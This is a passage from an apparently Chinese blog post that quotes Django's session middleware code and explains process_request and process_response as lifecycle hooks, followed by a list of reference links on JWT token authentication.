        engine = import_module(settings.SESSION_ENGINE)
        self.SessionStore = engine.SessionStore

    def process_request(self, request):
        session_key = request.COOKIES.get(settings.SESSION_COOKIE_NAME)
        request.session = self.SessionStore(session_key)

    def process_response(self, request, response):
        """
        If request.session was modified, or if the configuration is to save the
        session every time, save the changes and set a session cookie or delete
        the session cookie if the session has been emptied.

重载了两个方法,分别是process_request和process_response方法,相当于很多框架生命周期里面的钩子函数,这两个方法如果被重载了,那么在request/response的过程中,肯定会被执行,在可以选择自己需要的中间件,也可以自己定义中间件取实现不同的功能。一般而言,被用作全局拦截器使用。

参考地址:

在退出登录 / 修改密码时怎样实现JWT Token失效?:https://segmentfault.com/q/1010000010043871
Django+JWT 实现 Token 认证:https://www.v2ex.com/amp/t/530103

作者:Newbietan 来源:CSDN 原文:https://blog.csdn.net/Newbietan/article/details/80505403
作者:python_nice 来源:CSDN 原文:https://blog.csdn.net/python_nice/article/details/81474794
理解JWT(JSON Web Token)认证及python实践:https://segmentfault.com/a/1190000010312468
八幅漫画理解使用JSON Web Token设计单点登录系统:https://www.cnblogs.com/xiekeli/p/5607107.html
基于Token的WEB后台认证机制 : http://blog.leapoahead.com/2015/09/07/user-authentication-with-jwt/

JWT与XSS/CSRF攻击 作者:炒鸡大馒头  来源:简书  链接:https://www.jianshu.com/p/344947705c3d



分类:

技术点:

相关文章: